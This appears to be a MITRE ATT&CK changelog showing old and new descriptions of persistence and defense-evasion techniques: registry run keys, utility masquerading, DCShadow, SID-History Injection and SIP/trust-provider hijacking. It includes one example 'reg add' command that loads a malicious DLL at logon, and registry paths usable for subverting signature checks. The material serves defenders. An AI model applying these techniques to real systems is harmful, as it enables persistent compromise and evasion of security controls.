* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rename legitimate system utilities to try to | t | 1 | Adversaries may rename legitimate system utilities to try to |
| > | evade security mechanisms concerning the usage of those uti | > | evade security mechanisms concerning the usage of those uti | ||
| > | lities. Security monitoring and control mechanisms may be in | > | lities. Security monitoring and control mechanisms may be in | ||
| > | place for system utilities adversaries are capable of abusi | > | place for system utilities adversaries are capable of abusi | ||
| > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | ||
| > | s those security mechanisms by renaming the utility prior to | > | s those security mechanisms by renaming the utility prior to | ||
| > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | ||
| > | on: Endgame Masquerade Ball) An alternative case occurs when | > | on: Elastic Masquerade Ball) An alternative case occurs when | ||
| > | a legitimate utility is copied or moved to a different dire | > | a legitimate utility is copied or moved to a different dire | ||
| > | ctory and renamed to avoid detections based on system utilit | > | ctory and renamed to avoid detections based on system utilit | ||
| > | ies executing from non-standard paths. (Citation: F-Secure C | > | ies executing from non-standard paths. (Citation: F-Secure C | ||
| > | ozyDuke) | > | ozyDuke) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-10 20:03:11.691000+00:00 | 2020-11-23 17:03:38.941000+00:00 |
| description | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| external_references[3]['url'] | https://www.f-secure.com/documents/996508/1030745/CozyDuke | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Metadata |
| x_mitre_detection | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a rogue Domain Controller to enable | t | 1 | Adversaries may register a rogue Domain Controller to enable |
| > | manipulation of Active Directory data. DCShadow may be used | > | manipulation of Active Directory data. DCShadow may be used | ||
| > | to create a rogue Domain Controller (DC). DCShadow is a met | > | to create a rogue Domain Controller (DC). DCShadow is a met | ||
| > | hod of manipulating Active Directory (AD) data, including ob | > | hod of manipulating Active Directory (AD) data, including ob | ||
| > | jects and schemas, by registering (or reusing an inactive re | > | jects and schemas, by registering (or reusing an inactive re | ||
| > | gistration) and simulating the behavior of a DC. (Citation: | > | gistration) and simulating the behavior of a DC. (Citation: | ||
| > | DCShadow Blog) Once registered, a rogue DC may be able to in | > | DCShadow Blog) Once registered, a rogue DC may be able to in | ||
| > | ject and replicate changes into AD infrastructure for any do | > | ject and replicate changes into AD infrastructure for any do | ||
| > | main object, including credentials and keys. Registering a | > | main object, including credentials and keys. Registering a | ||
| > | rogue DC involves creating a new server and nTDSDSA objects | > | rogue DC involves creating a new server and nTDSDSA objects | ||
| > | in the Configuration partition of the AD schema, which requi | > | in the Configuration partition of the AD schema, which requi | ||
| > | res Administrator privileges (either Domain or local to the | > | res Administrator privileges (either Domain or local to the | ||
| > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | ||
| > | ) This technique may bypass system logging and security mon | > | ) This technique may bypass system logging and security mon | ||
| > | itors such as security information and event management (SIE | > | itors such as security information and event management (SIE | ||
| > | M) products (since actions taken on a rogue DC may not be re | > | M) products (since actions taken on a rogue DC may not be re | ||
| > | ported to these sensors). (Citation: DCShadow Blog) The tech | > | ported to these sensors). (Citation: DCShadow Blog) The tech | ||
| > | nique may also be used to alter and delete replication and o | > | nique may also be used to alter and delete replication and o | ||
| > | ther associated metadata to obstruct forensic analysis. Adve | > | ther associated metadata to obstruct forensic analysis. Adve | ||
| > | rsaries may also utilize this technique to perform [SID-Hist | > | rsaries may also utilize this technique to perform [SID-Hist | ||
| > | ory Injection](https://attack.mitre.org/techniques/T1178) an | > | ory Injection](https://attack.mitre.org/techniques/T1134/005 | ||
| > | d/or manipulate AD objects (such as accounts, access control | > | ) and/or manipulate AD objects (such as accounts, access con | ||
| > | lists, schemas) to establish backdoors for Persistence. (Ci | > | trol lists, schemas) to establish backdoors for Persistence. | ||
| > | tation: DCShadow Blog) | > | (Citation: DCShadow Blog) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 21:04:12.164000+00:00 | 2021-02-09 15:13:27.670000+00:00 |
| description | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) |
| x_mitre_data_sources[0] | API monitoring | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources[1] | Authentication logs | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Packet capture | User Account: User Account Authentication |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use SID-History Injection to escalate privil | t | 1 | Adversaries may use SID-History Injection to escalate privil |
| > | eges and bypass access controls. The Windows security identi | > | eges and bypass access controls. The Windows security identi | ||
| > | fier (SID) is a unique value that identifies a user or group | > | fier (SID) is a unique value that identifies a user or group | ||
| > | account. SIDs are used by Windows security in both security | > | account. SIDs are used by Windows security in both security | ||
| > | descriptors and access tokens. (Citation: Microsoft SID) An | > | descriptors and access tokens. (Citation: Microsoft SID) An | ||
| > | account can hold additional SIDs in the SID-History Active | > | account can hold additional SIDs in the SID-History Active | ||
| > | Directory attribute (Citation: Microsoft SID-History Attribu | > | Directory attribute (Citation: Microsoft SID-History Attribu | ||
| > | te), allowing inter-operable account migration between domai | > | te), allowing inter-operable account migration between domai | ||
| > | ns (e.g., all values in SID-History are included in access t | > | ns (e.g., all values in SID-History are included in access t | ||
| > | okens). With Domain Administrator (or equivalent) rights, h | > | okens). With Domain Administrator (or equivalent) rights, h | ||
| > | arvested or well-known SID values (Citation: Microsoft Well | > | arvested or well-known SID values (Citation: Microsoft Well | ||
| > | Known SIDs Jun 2017) may be inserted into SID-History to ena | > | Known SIDs Jun 2017) may be inserted into SID-History to ena | ||
| > | ble impersonation of arbitrary users/groups such as Enterpri | > | ble impersonation of arbitrary users/groups such as Enterpri | ||
| > | se Administrators. This manipulation may result in elevated | > | se Administrators. This manipulation may result in elevated | ||
| > | access to local resources and/or access to otherwise inacces | > | access to local resources and/or access to otherwise inacces | ||
| > | sible domains via lateral movement techniques such as [Remot | > | sible domains via lateral movement techniques such as [Remot | ||
| > | e Services](https://attack.mitre.org/techniques/T1021), [Win | > | e Services](https://attack.mitre.org/techniques/T1021), [SMB | ||
| > | dows Admin Shares](https://attack.mitre.org/techniques/T1077 | > | /Windows Admin Shares](https://attack.mitre.org/techniques/T | ||
| > | ), or [Windows Remote Management](https://attack.mitre.org/t | > | 1021/002), or [Windows Remote Management](https://attack.mit | ||
| > | echniques/T1028). | > | re.org/techniques/T1021/006). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:49:31.964000+00:00 | 2021-02-09 15:49:58.414000+00:00 |
| description | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028). | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). |
| x_mitre_data_sources[0] | Windows event logs | Process: OS API Execution |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Metadata |
| x_mitre_data_sources[2] | API monitoring | Active Directory: Active Directory Object Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may tamper with SIP and trust provider component | t | 1 | Adversaries may tamper with SIP and trust provider component |
| > | s to mislead the operating system and application control to | > | s to mislead the operating system and application control to | ||
| > | ols when conducting signature validation checks. In user mod | > | ols when conducting signature validation checks. In user mod | ||
| > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | ||
| > | igital signatures are used to verify a file's origin and int | > | igital signatures are used to verify a file's origin and int | ||
| > | egrity, variables that may be used to establish trust in sig | > | egrity, variables that may be used to establish trust in sig | ||
| > | ned code (ex: a driver with a valid Microsoft signature may | > | ned code (ex: a driver with a valid Microsoft signature may | ||
| > | be handled as safe). The signature validation process is han | > | be handled as safe). The signature validation process is han | ||
| > | dled via the WinVerifyTrust application programming interfac | > | dled via the WinVerifyTrust application programming interfac | ||
| > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | ||
| > | h accepts an inquiry and coordinates with the appropriate tr | > | h accepts an inquiry and coordinates with the appropriate tr | ||
| > | ust provider, which is responsible for validating parameters | > | ust provider, which is responsible for validating parameters | ||
| > | of a signature. (Citation: SpectorOps Subverting Trust Sept | > | of a signature. (Citation: SpectorOps Subverting Trust Sept | ||
| > | 2017) Because of the varying executable file types and cor | > | 2017) Because of the varying executable file types and cor | ||
| > | responding signature formats, Microsoft created software com | > | responding signature formats, Microsoft created software com | ||
| > | ponents called Subject Interface Packages (SIPs) (Citation: | > | ponents called Subject Interface Packages (SIPs) (Citation: | ||
| > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | ||
| > | on between API functions and files. SIPs are responsible for | > | on between API functions and files. SIPs are responsible for | ||
| > | enabling API functions to create, retrieve, calculate, and | > | enabling API functions to create, retrieve, calculate, and | ||
| > | verify signatures. Unique SIPs exist for most file formats ( | > | verify signatures. Unique SIPs exist for most file formats ( | ||
| > | Executable, PowerShell, Installer, etc., with catalog signin | > | Executable, PowerShell, Installer, etc., with catalog signin | ||
| > | g providing a catch-all (Citation: Microsoft Catalog Files | > | g providing a catch-all (Citation: Microsoft Catalog Files | ||
| > | and Signatures April 2017)) and are identified by globally u | > | and Signatures April 2017)) and are identified by globally u | ||
| > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | ||
| > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | ||
| > | itre.org/techniques/T1116), adversaries may abuse this archi | > | itre.org/techniques/T1553/002), adversaries may abuse this a | ||
| > | tecture to subvert trust controls and bypass security polici | > | rchitecture to subvert trust controls and bypass security po | ||
| > | es that allow only legitimately signed code to execute on a | > | licies that allow only legitimately signed code to execute o | ||
| > | system. Adversaries may hijack SIP and trust provider compon | > | n a system. Adversaries may hijack SIP and trust provider co | ||
| > | ents to mislead operating system and application control too | > | mponents to mislead operating system and application control | ||
| > | ls to classify malicious (or any) code as signed by: (Citati | > | tools to classify malicious (or any) code as signed by: (Ci | ||
| > | on: SpectorOps Subverting Trust Sept 2017) * Modifying the | > | tation: SpectorOps Subverting Trust Sept 2017) * Modifying | ||
| > | <code>Dll</code> and <code>FuncName</code> Registry values i | > | the <code>Dll</code> and <code>FuncName</code> Registry valu | ||
| > | n <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\O | > | es in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptograp | ||
| > | ID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</co | > | hy\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} | ||
| > | de> that point to the dynamic link library (DLL) providing a | > | </code> that point to the dynamic link library (DLL) providi | ||
| > | SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves | > | ng a SIP’s CryptSIPDllGetSignedDataMsg function, which retri | ||
| > | an encoded digital certificate from a signed file. By point | > | eves an encoded digital certificate from a signed file. By p | ||
| > | ing to a maliciously-crafted DLL with an exported function t | > | ointing to a maliciously-crafted DLL with an exported functi | ||
| > | hat always returns a known good signature value (ex: a Micro | > | on that always returns a known good signature value (ex: a M | ||
| > | soft signature for Portable Executables) rather than the fil | > | icrosoft signature for Portable Executables) rather than the | ||
| > | e’s real signature, an adversary can apply an acceptable sig | > | file’s real signature, an adversary can apply an acceptable | ||
| > | nature value to all files using that SIP (Citation: GitHub S | > | signature value to all files using that SIP (Citation: GitH | ||
| > | IP POC Sept 2017) (although a hash mismatch will likely occu | > | ub SIP POC Sept 2017) (although a hash mismatch will likely | ||
| > | r, invalidating the signature, since the hash returned by th | > | occur, invalidating the signature, since the hash returned b | ||
| > | e function will not match the value computed from the file). | > | y the function will not match the value computed from the fi | ||
| > | * Modifying the <code>Dll</code> and <code>FuncName</code> | > | le). * Modifying the <code>Dll</code> and <code>FuncName</co | ||
| > | Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microso | > | de> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Mic | ||
| > | ft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirect | > | rosoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndi | ||
| > | Data\{SIP_GUID}</code> that point to the DLL providing a SIP | > | rectData\{SIP_GUID}</code> that point to the DLL providing a | ||
| > | ’s CryptSIPDllVerifyIndirectData function, which validates a | > | SIP’s CryptSIPDllVerifyIndirectData function, which validat | ||
| > | file’s computed hash against the signed hash value. By poin | > | es a file’s computed hash against the signed hash value. By | ||
| > | ting to a maliciously-crafted DLL with an exported function | > | pointing to a maliciously-crafted DLL with an exported funct | ||
| > | that always returns TRUE (indicating that the validation was | > | ion that always returns TRUE (indicating that the validation | ||
| > | successful), an adversary can successfully validate any fil | > | was successful), an adversary can successfully validate any | ||
| > | e (with a legitimate signature) using that SIP (Citation: Gi | > | file (with a legitimate signature) using that SIP (Citation | ||
| > | tHub SIP POC Sept 2017) (with or without hijacking the previ | > | : GitHub SIP POC Sept 2017) (with or without hijacking the p | ||
| > | ously mentioned CryptSIPDllGetSignedDataMsg function). This | > | reviously mentioned CryptSIPDllGetSignedDataMsg function). T | ||
| > | Registry value could also be redirected to a suitable export | > | his Registry value could also be redirected to a suitable ex | ||
| > | ed function from an already present DLL, avoiding the requir | > | ported function from an already present DLL, avoiding the re | ||
| > | ement to drop and execute a new file on disk. * Modifying th | > | quirement to drop and execute a new file on disk. * Modifyin | ||
| > | e <code>DLL</code> and <code>Function</code> Registry values | > | g the <code>DLL</code> and <code>Function</code> Registry va | ||
| > | in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography | > | lues in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptogr | ||
| > | \Providers\Trust\FinalPolicy\{trust provider GUID}</code> th | > | aphy\Providers\Trust\FinalPolicy\{trust provider GUID}</code | ||
| > | at point to the DLL providing a trust provider’s FinalPolicy | > | > that point to the DLL providing a trust provider’s FinalPo | ||
| > | function, which is where the decoded and parsed signature i | > | licy function, which is where the decoded and parsed signatu | ||
| > | s checked and the majority of trust decisions are made. Simi | > | re is checked and the majority of trust decisions are made. | ||
| > | lar to hijacking SIP’s CryptSIPDllVerifyIndirectData functio | > | Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData fun | ||
| > | n, this value can be redirected to a suitable exported funct | > | ction, this value can be redirected to a suitable exported f | ||
| > | ion from an already present DLL or a maliciously-crafted DLL | > | unction from an already present DLL or a maliciously-crafted | ||
| > | (though the implementation of a trust provider is complex). | > | DLL (though the implementation of a trust provider is compl | ||
| > | * **Note:** The above hijacks are also possible without mod | > | ex). * **Note:** The above hijacks are also possible without | ||
| > | ifying the Registry via [DLL Search Order Hijacking](https:/ | > | modifying the Registry via [DLL Search Order Hijacking](htt | ||
| > | /attack.mitre.org/techniques/T1038). Hijacking SIP or trust | > | ps://attack.mitre.org/techniques/T1574/001). Hijacking SIP | ||
| > | provider components can also enable persistent code executi | > | or trust provider components can also enable persistent code | ||
| > | on, since these malicious components may be invoked by any a | > | execution, since these malicious components may be invoked | ||
| > | pplication that performs code signing or signature validatio | > | by any application that performs code signing or signature v | ||
| > | n. (Citation: SpectorOps Subverting Trust Sept 2017) | > | alidation. (Citation: SpectorOps Subverting Trust Sept 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.022000+00:00 | 2021-02-09 15:58:04.719000+00:00 |
| description | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
